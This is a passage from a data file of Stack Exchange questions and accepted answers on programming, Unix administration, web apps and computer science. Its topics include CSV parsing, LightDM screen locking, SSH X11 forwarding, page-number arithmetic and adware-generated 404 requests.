csvHeaders.IndexOf(CSVKEYFIELDNAME.ToLower()); object csvKeyValue = csvFieldsArray[indexKeyField]; // ... some more code here that is not relevant // Find the matching row for our csv keyfield value Type keyType = parameters.DataTableOriginal.Columns[DBKEYFIELDNAME].DataType; DataRow[] rowsOriginal = null; if (keyType.IsAssignableFrom(typeof(string))) rowsOriginal = parameters.DataTableOriginal.Select(DBKEYFIELDNAME + =' + csvKeyValue.ToString() + '); else if (keyType.IsAssignableFrom(typeof(Int16)) || keyType.IsAssignableFrom(typeof(Int32)) || keyType.IsAssignableFrom(typeof(Int64)) || keyType.IsAssignableFrom(typeof(bool))) rowsOriginal = parameters.DataTableOriginal.Select(DBKEYFIELDNAME + = + csvKeyValue); if (rowsOriginal != null && rowsOriginal.Length == 1) { // Do some processing of the row here }}" , "title": "Strongly-typed reading values from CSV DataTable" , "tags": "c#;csv" , "accepted_answer": "A few comments:This method does way too much. It is difficult to understand and will be difficult to debug and maintain. Break it down into smaller methods that each have a single responsibility.Use curly braces after your if and else statements. This improves readability of the code and makes it less likely for other code to sneak in there in the future.Can't your else statement just be a plain else with no if after it? It seems like you want to put quotes around a string, and use the plain value for everything else. Are there other requirements here?The type of csvKeyValue could just be string, since it's pulling a value out of a string[]No need for the call to .ToString() in your if branchI would try to write the call to parameters.DataTableOriginal.Select only once. Consider using your if/else to set a delimeter variable to either string.Empty or ', then write your query once like so:DataRow[] rowsOriginal = parameters.DataTableOriginal.Select( DBSLEUTELVELDNAAM + = + delimeter + csvKeyValue + delimeter);" } { "id": "_softwareengineering.283294" , "question": "There are two ways to do the same thing (pseudo code)Define databaseHandle in the parent function, and use it as a global in this scope: function API() { function openDatabase() { return databaseHandle; } databaseHandle = openDatabase() function getItem(i) { databaseHandle.get(i) } function addItem(name) { databaseHandle.add(name) }}Define a function for getting this handle, and then get it when we need it:function API() { function openDatabase() { return databaseHandle; } function getItem(i) { databaseHandle = openDatabase() databaseHandle.get(i) } function addItem(name) { databaseHandle = openDatabase() databaseHandle.add(name) }}The first option seems simpler, and I see it in many examples. But the second one seems to me more reliable and obvious in what it does (and a bit redundant).What is the best practice here? If there's another, better way, I'd like to hear about it. Thanks. " , "title": "Should all functions be fully self-contained (is it bad practice to share a variable between functions)?" , "tags": "design patterns;object oriented;programming practices;functional programming" , "accepted_answer": "I'd go with the second approach, with a change which releases the handle when done. If each method takes care of getting, operating and releasing its own handle, then your application should be better suited to scale up (assuming you have some sort of pooling underneath).With the first approach, it is hard to say what will happen should two different threads call each method separately at the same time." } { "id": "_unix.381236" , "question": "I use LightDM with awesome-wm.To lock screen I use command dm-tool lock. Most of the time it works fine but if after issuing the session lock command I switch to another tty and then go back, session unlocks by itself. /etc/lightdm/lightdm.conf is set to all defaults. How can I fix this behavior?Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)awesome v4.0lightdm 1.18.3-1EDITOutput of the systemctl status lightdm.service command after a couple of locksCGroup: /system.slice/lightdm.service 931 /usr/sbin/lightdm 941 /usr/lib/xorg/Xorg :0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch 1754 /usr/lib/xorg/Xorg :1 -seat seat0 -auth /var/run/lightdm/root/:1 -nolisten tcp vt8 -novtswitch 1794 lightdm --session-child 15 24 2137 lightdm --session-child 27 30 2192 lightdm --session-child 31 34 2224 lightdm --session-child 35 38 2304 lightdm --session-child 15 20" , "title": "LightDM screen lock in awesome-wm unlocks by itself" , "tags": "awesome;screen lock;lightdm" } { "id": "_webapps.13708" , "question": "I have two email addresses that I use with GMail, let's call them personal@gmail.com and me@mycompany.com, the latter is integrated with SMTP and POP. When I want to send an email I can choose which email address I want to send from. Now let's say I receive an email to me@mycompany.com when I reply I want that reply to come from me@mycompany.com not personal@gmail.com, yet it always defaults to the @gmail.com address. Is there any way to make it default to be from the To address in a reply?" , "title": "How can I get GMail to make the default address I'm sending an email from be the same as the To address in a reply?" , "tags": "gmail;email;email management" , "accepted_answer": "You can do that from Settings > Accounts and Imports and select Reply from the same address the message was sent to:" } { "id": "_softwareengineering.158118" , "question": "I am a developer in PHP technology, I am aware of almost all the basics of OOPS, but still cannot find out the way to apply these concepts over a procedural programming.I do it in very orthodox way, but I don't know why I am coding it in that way. I never have reasoning to justify my OOPS applications, which has inferred me that I am worst in OOPS, Please help me guys to understand the application of OOPS." , "title": "I cannot understand the application of oops How can I develop the understanding of application of oops?" , "tags": "object oriented;programming practices;functional programming" , "accepted_answer": "Firstly, it's pretty difficult to summarise something as complicated as OO in a few sentences. I would recommend that you find yourself some good books on the topic, and read them, while practicing what they preach. That said, a short explanation would be: object orientation is simply one particular way to structure code. You are trying to create pieces of code which are loosely coupled and cohesive. Loosely coupled meaning that they don't unnecessarily rely on each other, and cohesive meaning that things that should be close together, are. Encapsulation is the principle of making a class appear as simple as possible to the outside world, while containing whatever complexity is necessary, inside itself. You are also trying to reduce repetition and duplication of code and logic (DRY, etc). These are the general principles, and you should spend a lot of time trying to understand why these are good principles, and what they mean. They tend to be fairly universal, so you will be able to apply it outside of OO. Once you have these basics (and they are not simple) down, you will understand the whys, and can make your own judgement calls on design. Unfortunately, I can't think of any way to go into any more detail without writing pages and pages, so I'll leave it at that. Last tips: try to make sure you understand why you are doing something; but be patient - I've almost never seen anyone who was more than barely competent in OO with less than 5 years of experience." } { "id": "_codereview.121740" , "question": "I am writing a parser to parse out the fields of an email message in the following format (note that I expect that the To: field could contain multiple lines, same with the Subject: field.From: joebloggs@mail.netTo: jane@othermail.com, john@somemail.net, otherperson@hello.com, onemore@whatever.orgSubject: A subject goes hereX-FileName: joebloggs.pstHi, this is the information you were looking for...Sincerely, JoeI intend to construct an instance of this Mail class:public class Mail { public List to = new ArrayList<>(); public String subject, from, body; public String xFileName;}and I am parsing it using the following method: public class Parser { public enum CurrentState { NEW(), FROM(From:), TO(To:), SUBJECT(Subject:), X_FILENAME(X-FileName), BODY(); private final String startsWith; CurrentState(String startsWith) { this.startsWith = startsWith; } public String getStartsWith() { return startsWith; } } public Mail parseEmail(List lines) throws Exception { CurrentState currState = NEW; Mail sentMail = new Mail(); for (String line: lines) { if (line.startsWith(FROM.getStartsWith())) { sentMail.from = parseFrom(line); currState = FROM; } else if (line.startsWith(TO.getStartsWith())) { sentMail.to.addAll(parseTo(line)); currState = TO; } else if (line.startsWith(SUBJECT.getStartsWith())) { sentMail.subject += parseSubject(line); currState = SUBJECT; } else if (line.startsWith(X_FILENAME.getStartsWith())) { sentMail.xFileName = simpleParse(X_FILENAME, line); currState = X_FILENAME; } else if (currState == BODY) { sentMail.body += line; } else { if (currState == X_FILENAME && !line.isEmpty()) { sentMail.body += line; currState = BODY; } else if (currState == TO) { sentMail.to.addAll(parseTo(line)); } else if (currState == SUBJECT) { sentMail.subject += parseSubject(line); } else { throw new Exception(Could not parse line: + line + previous state was: + currState.name()); } } } } return sentMail; }I'm wondering how well this code tolerates badly formatted data, and whether there is a cleaner or more elegant way to implement this parsing functionality." , "title": "Email text parser" , "tags": "java;parsing;email" } { "id": "_cs.24652" , "question": "I was given this function:$F(n)$ returns the smallest TM (measured in number of states) such that on input $\\epsilon$, the TM makes at least $n$ steps before eventually halting ($n$ is a natural number). I was asked to prove that this function is uncomputable using a reduction from the Busy Beaver. I'm still new to reductions and after sitting on this problem for a while I've gotten nowhere. I'd appreciate any help/guidance. " , "title": "Proving a language is not decideable using a reduction from Busy Beaver?" , "tags": "formal languages;turing machines;reductions" , "accepted_answer": "Hint: Why is the busy beaver function difficult (rather, impossible) to compute? Consider the following algorithm: given $n$, run all $n$-state Turing machines, and whenever one of them halts, update your estimate on the maximum number of steps. Eventually you will have found $BB(n)$, but you wouldn't know, since some of your machines are still running. Will any of them terminate, or have you discovered $BB(n)$? The function $F(n)$ given to you in the question could help in that respect." } { "id": "_unix.220438" , "question": "I installed cinnamon on Arch. Everything works fine, but a little annoyance I am having is that there are still org.gnome.dekstop settings present. I removed gnome-desktop, which was installed as a dependency by evince (also removed). Are these settings normally present under cinnamon or is there some way to get rid of them? I dislike having the duplicates and I think this also led to a double lock issue where setting disable-lock-screen under org.gnome.desktop.lockdown fixed the issue. Is there a way to completely get rid of gnome-desktop?" , "title": "GNOME Desktop Dconf Settings Are Present Even Though Using Cinnnamon" , "tags": "linux;arch linux;gnome;cinnamon;dconf" } { "id": "_codereview.113823" , "question": "Currently I'm engaged with implementing a Drag and Drop GUI. I've discovered that there a not many resources (tutorials, etc.) available. So I wrote this:function Cursor(cssSelector, rightLimit, bottomLimit) { var element = document.querySelector('#square'); var styles = window.getComputedStyle(square); var x = 0; var y = 0; var fromLeft = 0; var fromTop = 0; var pushed = false; var limits = { top: 0, right: rightLimit, bottom: bottomLimit, left: 0 } // Uses the offsetX and the offsetY of the // mousedown event. this.setCoordinates = function(left, top) { if (!fromLeft && !fromTop) { fromLeft = left; fromTop = top; } } this.togglePushed = function() { pushed ? pushed = false : pushed = true; } this.getPushed = function() { return pushed; } // Uses the offsetX and the offsetY of the // mousemove event. this.moveCursor = function(offsetX, offsetY) { // How much have the x and the y coordinate // changed since the mousedown event? var tmpX = offsetX - fromLeft; var tmpY = offsetY - fromTop; if ((x + tmpX) <= limits.right && (x + tmpX) >= limits.left && (y + tmpY) >= limits.top && (y + tmpY) <= limits.bottom) { // If the values are valid then store them ... x += tmpX; y += tmpY; // ... and use them to move the element. element.style.left = x + 'px'; element.style.top = y + 'px'; } } } var cursor = new Cursor('#square', 550, 450); square.addEventListener('mousedown', function(ev) { cursor.togglePushed(); cursor.setCoordinates(ev.offsetX, ev.offsetY); }); document.body.addEventListener('mouseup', function(ev) { cursor.togglePushed(); }); square.addEventListener('mousemove', function(ev) { if (cursor.getPushed()) { cursor.moveCursor(ev.offsetX, ev.offsetY); } });body { background-color: #eefafa;}#wrap { width: 600px; margin: 50px auto;}#panel { height: 500px; position: relative; background-color: rgba(150, 150, 150, 0.2); border-radius: 3px;}#square { width: 50px; height: 50px; background-color: orangered; border: 1px solid teal; border-radius: 3px; position: absolute; top: 0px; left: 0px;}.instruct { font-size: 125%; font-weight: bold; font-family: helvetica;}

Click the square. Keep the mouse-button pushed and move the pointer slowly.

There's also a demo on CodePen." , "title": "Drag and drop GUI with native JavaScript" , "tags": "javascript;html;css" } { "id": "_cstheory.4161" , "question": "Does it have anything to do with the heap data structure, for example the Buddy blocks implementation, or does it only take the literal English meaning of the word (a big pile)?I know heap memory is more practical than theoretical, but there's no Stack Exchange for Practical Computer Science yet." , "title": "Why is the free store memory called the heap?" , "tags": "ds.data structures;ho.history overview" , "accepted_answer": "I don't think it has anything to do with the data structure.It's just the opposite of the stack, which carefully orders its elements and doesn't allow them to be read or written except at the top." } { "id": "_unix.287626" , "question": "I have txt file whose inside there are 8 times ATOMIC_POSITIONS string and when I'm trying to write each one of them with ;AtomicPos=$(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt)echo $AtomicPost gives me just the last one 4779:ATOMIC_POSITIONS (bohr)4779 is the line number , where is the last one.In fact , after that I was going to take the last one so that I can take the next lines after the last ATOMIC_POSITIONS, but, hence, it gives me directly the last one ,so I continued like ;$NtL=262i=1until [ $i == $NtL ]doPos=$(grep -A $i ATOMIC_POSITIONS hw1_out_si_wire.txt)echo $Posi=$(expr $i + 1)unset PosdoneBut when I run that , it starts from the first ATOMIC_POSITIONS and continues.Could someone explain why is that ?" , "title": "Why doesn't grep give me the all found strings?" , "tags": "bash" , "accepted_answer": "In order to read grep output into an array you have to change AtomicPos=$(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt)to AtomicPos=( $(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt) )This way you will have all the matched patterns in AtomicPos then loop over the array and print each element." } { "id": "_cs.41523" , "question": "so I have this code:for (int i=1; i < n; i=i*5) for (j=i; j < n; j++) sum = i+j;And I'm wondering, what's the time complexity of this for loop?To start off, I know the first line is logn base 5, with an additional check to exit out of the for loop.Then, for the second line, I have the following:i = 1 j = 1, 2, 3,, n (n-5^0)+1i = 5 j = 5, 6, 7, , n (n-5^1)+1i = 25 j = 25, 26, 27,, n (n-5^2)+1i = n j = n (n-5^k)+1But now, I'm stuck. Any help is appreciated." , "title": "Algorithm analysis of nested loop" , "tags": "algorithms;time complexity;runtime analysis;loops" } { "id": "_unix.16620" , "question": "Which directories should I expect to have in an install prefix when I'm writing makefiles? I've noticed that in the common prefix /usr, there is no /etc, yet there is an /include dir, which isn't in the root directory. Which paths are hard-coded such as /etc and /var maybe and which directories lie in a prefix? As far as I can see /bin and /lib are standard." , "title": "What do I install into a given install prefix" , "tags": "filesystems;software installation;directory structure;make;gnu make" , "accepted_answer": "See the FHS (Filesystem Heirarchy Standard) for details: http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard and http://www.pathname.com/fhs/" } { "id": "_cs.22030" , "question": "Can anyone explain me what is a trampolined interpreter? I am versed with relevant concepts viz. procedural languages, continuations etc but am finding difficulty understanding the definition/need for trampolining. Please help." , "title": "What is a trampolined interpreter?" , "tags": "programming languages;interpreters" } { "id": "_webapps.74457" , "question": "Is it possible in Google spreadsheets to have one list which is somehow divided into 2 parts and both of those parts consist of different lists? Something like iframes in HTML." , "title": "Is there any option to operate with 2 lists in one list in Google Sheets?" , "tags": "google spreadsheets" } { "id": "_codereview.36743" , "question": "I'm creating a simple syslog server in Delphi XE2 using Indy's TIdSyslogServer. I've decided to make it dump into a TClientDataSet and display in a TDBGrid, but I'm skeptical about how well it would handle if the log got quite big, and what I should expect when it grows to millions of records. This application is for internal use and I don't intend to make any software from it, and just keep the code real simple.The purpose of the application is for numerous IP surveillance cameras along with various other network based equipment to report their log to one place.This is a simple application with just 1 form, all the code is directly in the form's unit. The actual application is a separate project (call this my SSCCE).uMain.pasunit uMain;interfaceuses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdSocketHandle, IdBaseComponent, IdComponent, IdSysLogServer, IdSysLog, IdSysLogMessage, IdUDPBase, IdUDPServer, Vcl.StdCtrls, Vcl.Grids, Vcl.DBGrids, Data.DB, Datasnap.DBClient, MidasLib {to avoid requiring MIDAS.DLL};type TForm1 = class(TForm) Server: TIdSyslogServer; DS: TClientDataSet; DSC: TDataSource; DBGrid1: TDBGrid; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ServerSyslog(Sender: TObject; ASysLogMessage: TIdSysLogMessage; ABinding: TIdSocketHandle); private procedure PrepareDS; public end;var Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);var H: TIdSocketHandle;begin PrepareDS; Server.Bindings.Clear; H:= Server.Bindings.Add; H.IP:= '0.0.0.0'; //All IP's H.Port:= 514; //syslog standard port 514 Server.Active:= True; //Activate serverend;procedure TForm1.PrepareDS;begin DS.DisableControls; try DS.Close; DS.FieldDefs.Clear; DS.FieldDefs.Add('timestamp', ftDateTime); DS.FieldDefs.Add('pri', ftInteger); //Need to convert the next 2 to string DS.FieldDefs.Add('facility', ftString, 15); DS.FieldDefs.Add('severity', ftString, 15); DS.FieldDefs.Add('hostname', ftString, 15); DS.FieldDefs.Add('message', ftString, 200); DS.CreateDataSet; DS.Open; finally DS.EnableControls; end;end;procedure TForm1.FormDestroy(Sender: TObject);begin Server.Active:= False;end;procedure TForm1.ServerSyslog(Sender: TObject; ASysLogMessage: TIdSysLogMessage; ABinding: TIdSocketHandle);begin DS.Append; DS['timestamp']:= ASysLogMessage.TimeStamp; DS['pri']:= ASysLogMessage.Pri; DS['facility']:= ASysLogMessage.Facility; DS['severity']:= ASysLogMessage.Severity; DS['hostname']:= ASysLogMessage.Hostname; DS['message']:= ASysLogMessage.Msg.Content; DS.Post;end;end.uMain.dfmobject Form1: TForm1 Left = 354 Top = 124 Caption = 'Form1' ClientHeight = 400 ClientWidth = 597 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Tahoma' Font.Style = [] OldCreateOrder = False OnCreate = FormCreate OnDestroy = FormDestroy PixelsPerInch = 96 TextHeight = 13 object DBGrid1: TDBGrid Left = 0 Top = 48 Width = 597 Height = 352 Align = alBottom Anchors = [akLeft, akTop, akRight, akBottom] DataSource = DSC TabOrder = 0 TitleFont.Charset = DEFAULT_CHARSET TitleFont.Color = clWindowText TitleFont.Height = -11 TitleFont.Name = 'Tahoma' TitleFont.Style = [] end object Server: TIdSyslogServer Bindings = <> OnSyslog = ServerSyslog Left = 120 Top = 168 end object DS: TClientDataSet Aggregates = <> Params = <> Left = 168 Top = 168 end object DSC: TDataSource DataSet = DS Left = 200 Top = 168 endendI'm assuming that at some point I should at least make it dump to a file, then start fresh. That's an obvious feature I will need to add. Along with that of course a way to recall the saved logs. That all comes later, but I'm only worried how the client dataset will handle it when it gets very large, and really how I should determine the maximum before I dump it." , "title": "Is it feasible to create a syslog server which writes to a client dataset?" , "tags": "performance;logging;delphi;server" } { "id": "_softwareengineering.195040" , "question": "I saw a video about random numbers and how the programmer in that video was talking about computers generating pseudo random numbers and that they are not really random. I knew about this.Then he showed the decay of a radioactive material to generate random numbers where he claimed to be truly random. Is there really such a thing? I mean the process of the radioactive material shooting electrons might seem random but is it? Isn't it just a mysterious black box to us simply because we don't know how it really works?Or does randomness just depend on the current level of scientific knowledge?If so, then how come quantum computers are often quoted to be capable of generating truly random numbers? Can they really do this?" , "title": "Is there such a thing as truly random?" , "tags": "computer science;math;random" } { "id": "_unix.295207" , "question": "So at my job I SSH from my CentOS machine to other local CentOS machines. We use an application that runs in both X11 and terminal. Some features are available exclusively in terminal and other features are exclusively in X11. The program auto detects if there is a X display to connect to and will use it if available. It would be nice to be able to quickly toggle between the two version of the application without having to put in an enhancement request. We have a large amount of desktop icons/short cuts without a -X or -Y flag. Is there any way to enable/disable X11 forwarding on a running SSH session that was started without the -X or -Y flag?" , "title": "Enable/Disable X on an established SSH connection" , "tags": "ssh;x11" , "accepted_answer": "If you run with -X or -Y then this will set $DISPLAY on the remote end to point to the X-tunnel. Unsetting $DISPLAY will prevent X applications from talking to the X server.e.g.$ echo $DISPLAY localhost:10.0$ xdpyinfo | head -2name of display: localhost:10.0version number: 11.0$ DISPLAY= xdpyinfo | head -2xdpyinfo: unable to open display .$ DISPLAY= xtermxterm: Xt error: Can't open display: xterm: DISPLAY is not setSo with X tunneling enabled you should be able to hide it by unsetting $DISPLAY.Inside an SSH session you can type ~? to get a list of changes you can make. You can add/remove port forwarding via ~C but you can't easily change X tunneling because that would require running xauth and similar. The sequence of events would be to forwarding a remote port back to localhost:6000 (or whatever port your local X server is on), setting DISPLAY and adding xauth permissions - not so easy!" } { "id": "_unix.289326" , "question": "I have a personall machine running Ubuntu 14.04.4 LTS. I use it to host a Teamspeak and a Minecraft server and also a website.I am trying to make sub-domains to only point to the right services. So for exampleusing panel.domain.com would point only to https://localhost:8000 (CP Panel)Managed to get the CP Panel sorted out, by using a DNS URL Redirect rather than an A Recordusing mc.domain.com would point only to localhost:25565(Minecraft Server)using ts.domain.com would point only to localhost:9987(Teamspeak Server)using domain.com would point only to the website (domain.com/forums/index.php)I managed to do this atleast for connections that come trough a web browser using httpd.confServerName mc.domain.comredirect / localhost:25565ServerName ts.domain.comredirect / localhost:9987But this only applies to connections coming from a web browser, and if i try to connect in Teamspeak using any sub-domain or the domain name it still connects...This is probably useless, and i should just use the domain name, but i would like to have some sorting going on.Is this even possible to do?From what i can figure out it would be something to do with IPTables but i honestly have no clue. Something like this?iptables coming from any ip:25565 to anything else than localhost:25565 Dropiptables coming from any ip:9987 to anything else than localhost:9987 Dropiptables coming from any ip:80 to anything else than localhost:80/8000 DropAm i correct?" , "title": "How would I limit connections to certain services, to be only accesed via a connection coming from a sub-domains?" , "tags": "networking;firewall;apache httpd" } { "id": "_codereview.27813" , "question": "Could it be written better?package mainimport ( code.google.com/p/go-tour/wc fmt)func WordCount(s string) map[string]int { dict := make(map[string]int) splited := Split(s) for _, string := range splited { _, present := dict[string] if present { dict[string]++ } else { dict[string] = 1 } } return dict}func Split(s string) []string{ arraySize := 1 for i := 0; i < len(s); i++ { if s[i] == ' ' { arraySize++ } } array := make([]string, arraySize) currentStrInd := 0 currentStr := for i := 0; i < len(s); i++ { if s[i] == ' ' { array[currentStrInd] = currentStr currentStrInd++ currentStr = } else { currentStr += string(s[i]) } } array[arraySize - 1] = currentStr return array;}func main() { fmt.Println(Split(I am learning Go!)) wc.Test(WordCount)}" , "title": "Split and word count in go" , "tags": "strings;go" } { "id": "_webmaster.34252" , "question": "I have a question about redirecting a subdomain of a blog hosted on wordpress.com to an external URL.Given the following:1) I own a domain name foobar.com purchased from another registrar (not from wordpress.com).2) I have purchased the custom domain option on wordpress.com, and have completed the configuration to make foobar.com resolve to foobar.wordpress.com.3) I will establish an external site for a store, such as store.yahoo.com/foobar.4) I want to redirect the subdomain store.foobar.com to store.yahoo.com/foobar.How do I set up the custom DNS records within wordpress.com to accomplish this subdomain redirection, while leaving foobar.com pointed to my Wordpress blog? I suspect that the CNAME directive is involved, but I cannot figure out the required syntax." , "title": "Redirecting a subdomain from wordpress.com to an external web address" , "tags": "wordpress;redirects;url;subdomain" } { "id": "_webmaster.74288" , "question": "I have been getting crawl errors on Google Adsense on a number of pages, all ending in a peculiar suffix mozekcdn-a.akamaihd.net. For examplehttp://my-website.com/mozekcdn-a.akamaihd.nethttp://my-website.com/mozekcdn-a.akamaihd.net/gsd.htmlNow the strange thing is that such pages do not exist at all on my website. And all of a sudden the number of such pages being created has increased in the last 24 hours; all leading to a 404 Not found page.Thus, trying to get to the bottom of this problem, I searched online, and came across some discussions on Stackexchange (this link) and Google Groups (this link). It seems like some more websites are facing this problem, and the initial analysis is that this is some sort of malware / adware. A french website (this link) has given some more details, though I am not sure how authentic this is. I am worried at the moment at the consequences of this issue. Will be great if any of you can check into it and suggest any possible solution." , "title": "Website pages being generated with mozekcdn-a.akamaihd.net; adware / malware?" , "tags": "google;malware" , "accepted_answer": "This does not look like a problem for you to solve. It appears that you do not have malware, adware, or a virus on your system. You may not like these entries in your log of course. You can likely filter them in what ever software you use to analyze your web traffic.This appears to be coming from your users as they access your site. It is thought to be an adware bug installed on the client computer that adds requests to each page accessed with various forms of mozekcdn-a.akamaihd.net in the URI. These always result in a 404.I cannot figure out what the payoff would be and why this would be coded this way except that it might introduce new or more adware or viruses. I suspect that some of this will fade away as people update their anti-virus and anti-adware software, but some will remain for those who do not use these software or update them regularly.Do keep tabs on your site just in case." } { "id": "_codereview.18332" , "question": "I came across an exercise (in the book The Art and Science of Java by Eric Roberts) that requires using only GArc and GLine classes to create a lettering library which draws your initials on the canvas. This should be made independent of the GLabel class.Write a GraphicsProgram to draw your initials on the graphics window using only the GArc and GLine classes rather than GLabel. For example, if I wrote this program, I would want the output to be [an image showing simple letters E S R on a canvas]Think about the best decomposition to use in writing the program. Imagine that youve been asked to design a more general letter-drawing library. How would you want the methods in that library to behave in order to make using them as simple as possible for your clients?I'd like to know the correct approach to use in solving this problem. I'm not sure what I have so far is good enough (I'm thinking it's too long). The questions requires that I use a good Top-Down approach.Here's my code so far://Passes letters to GLetter objects and draws them on the canvaspackage artScienceJavaExercises.chapter8; package artScienceJavaExercises.chapter8; import acm.program.*; //import acm.graphics.*; public class DrawInitials extends GraphicsProgram{ public void init(){ resize(400,400); } public void run(){ //String let = readLine(Letter?: ); letter = new GLetter(l); add(letter, (getWidth()-letter.getWidth()*2)/2, (getHeight()-letter.getHeight())/2); add(new GLetter(o), (letter.getX()+letter.getWidth()), letter.getY()); } private GLetter letter; }//GLetter Class package artScienceJavaExercises.chapter8; import acm.graphics.*; import java.awt.*; public class GLetter extends GCompound{ private static final int ONE_THIRD = 30; private static final int ROW_2_HEIGHT = 40; private GArc[] arc = new GArc[4]; private GLine[] line = new GLine[24]; public GLetter(String s){ line[0] = new GLine(0,0, ONE_THIRD, 0); line[1] = new GLine(ONE_THIRD,0, ONE_THIRD*2, 0); line[2] = new GLine(ONE_THIRD*2,0, ONE_THIRD*3, 0); line[3] = new GLine(0,0, 0,ONE_THIRD); line[4] = new GLine(ONE_THIRD,0, ONE_THIRD, ONE_THIRD); line[5] = new GLine(ONE_THIRD*2,0, ONE_THIRD*2, ONE_THIRD); line[6] = new GLine(ONE_THIRD*3,0, ONE_THIRD*3, ONE_THIRD); line[7] = new GLine(0,ONE_THIRD, ONE_THIRD*2, ONE_THIRD); line[8] = new GLine(ONE_THIRD,ONE_THIRD, ONE_THIRD*2, ONE_THIRD); line[9] = new GLine(ONE_THIRD*2,ONE_THIRD, ONE_THIRD*3, ONE_THIRD); line[10] = new GLine(0,ONE_THIRD, 0, ONE_THIRD+ROW_2_HEIGHT); line[11] = new GLine(ONE_THIRD, ONE_THIRD, ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT); line[12] = new GLine(ONE_THIRD*2,ONE_THIRD, ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT); line[13] = new GLine(ONE_THIRD*3,ONE_THIRD, ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT); line[14] = new GLine(0, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT); line[15] = new GLine(ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT); line[16] = new GLine(ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT); line[17] = new GLine(0, ONE_THIRD+ROW_2_HEIGHT, 0, ONE_THIRD*2+ROW_2_HEIGHT); line[18] = new GLine(ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT); line[19] = new GLine(ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*2, ONE_THIRD*2+ROW_2_HEIGHT); line[20] = new GLine(ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD*2+ROW_2_HEIGHT); line[21] = new GLine(0,ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT); line[22] = new GLine(ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD*2, ONE_THIRD*2+ROW_2_HEIGHT); line[23] = new GLine(ONE_THIRD*2,ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD*2+ROW_2_HEIGHT); for(int i = 0; i letterDrawers; LetterDrawingService () { // initialize your drawer map } public draw(GObject o, char c, double xOffset, double yOffset) { // Validate as in the @Palacsint's answer letterDrawers.get(c).draw(o, c, xOffset, yOffset); }}I doubt book teaches factory classes before arrays, so I will not give an example for that case. Basic Idea is you have a class for each letter which extends some abtract GLetter and pass Offset Position to the constructor. (Side note: you should have a position class, if the graphics library doesn't have them).I do not know acm.grahics package so do not get hung up on the details." } { "id": "_cs.11719" , "question": "I am studying Computer Systems. I have th following question and its answer:Given the logical address 0xAEF9 (in hexadecimal) with a page size of 256 bytes, what is the page number?Answer: 0xAE (I found this answer in the web, but I want to know how can I figure it out myself?How can I figure out the page number for a given logical address?" , "title": "Given the logical address, how to extract the page number?" , "tags": "operating systems;memory management;paging;virtual memory" , "accepted_answer": "Your logical address is made of 16 bits, that means you have a addressable space of $2^{16}$ bits. The page size is typically a power of 2, $2^n$, in this case $2^n = 256 \\Rightarrow n = 8$. The page number is calculated by substracting $n$ from the size of your logical address: $16 - 8 = 8$, so the first 8 bits of the address are your missing page number, that is 0xAE" } { "id": "_webmaster.15738" , "question": "I am new to vps hosting. I checked daily process logs on my server and found a user with name nobody consuming more memory than others.So what is the user nobody related to and why is it consuming more memory?This is the log info I found: user / cpu / mem / mysql nobody / 0.00 / 27.31 / 0.0" , "title": "What does the user nobody represent in server process logs" , "tags": "linux;vps" } { "id": "_unix.101388" , "question": "I've been browsing for a minute now trying to find a way to create a relative symlink inside a relative symlink, and what I mean by that is this...I have my CakePHP Templates Skeleton as a symlink inside one of my projects, inside my skeleton, I have a symlink to a plugin outside the skeleton folder, the idea being, I can symlink my CakePHP CMS Skeleton inside my projects, create an Application plugin outside the CMS skeleton symlink, and and the skeleton symlink point to my projects Application plugin. By that I mean the following. I have a CakePHP CMS Skeleton at the following path/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skelThe path to my project folder is below/mnt/proj/mysite.com/I then symlink the CakePHP CMS Skeleton inside my project folder like so/mnt/proj/mysite.com/cms-skel -> /mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skelInside the skeleton I have a symlink pointing to an Application plugin/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skel/Plugin/Application -> ../../ApplicationSo inside the CakePHP CMS symlinked folder in mysite.com folder I have/mnt/proj/mysite.com/cms-skel/Plugin/Application -> ../../ApplicationThe issue is, that the above symlink points to/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationAnd I need it to point to /mnt/proj/mysite.com/cms-skel/Plugin/ApplicationAny ideas on how I can do the above with symlinks is greatly appreciate, I am not even sure what to google at this point." , "title": "Create Relative Symlink Inside Relative Symlink" , "tags": "linux;bash;filesystems;symlink" , "accepted_answer": "You issue is you're attempting to use a single relative link that will work within 2 directory trees, and yet the relativity of the link is not the same in these 2 trees.ExampleI've created your directory structures starting at proj, but otherwise they're identical.$ pwd/home/saml/projHere's the lib/ tree:$ tree -lf libs/libs`-- libs/cakephp `-- libs/cakephp/lib `-- libs/cakephp/lib/Cake `-- libs/cakephp/lib/Cake/Console `-- libs/cakephp/lib/Cake/Console/Templates 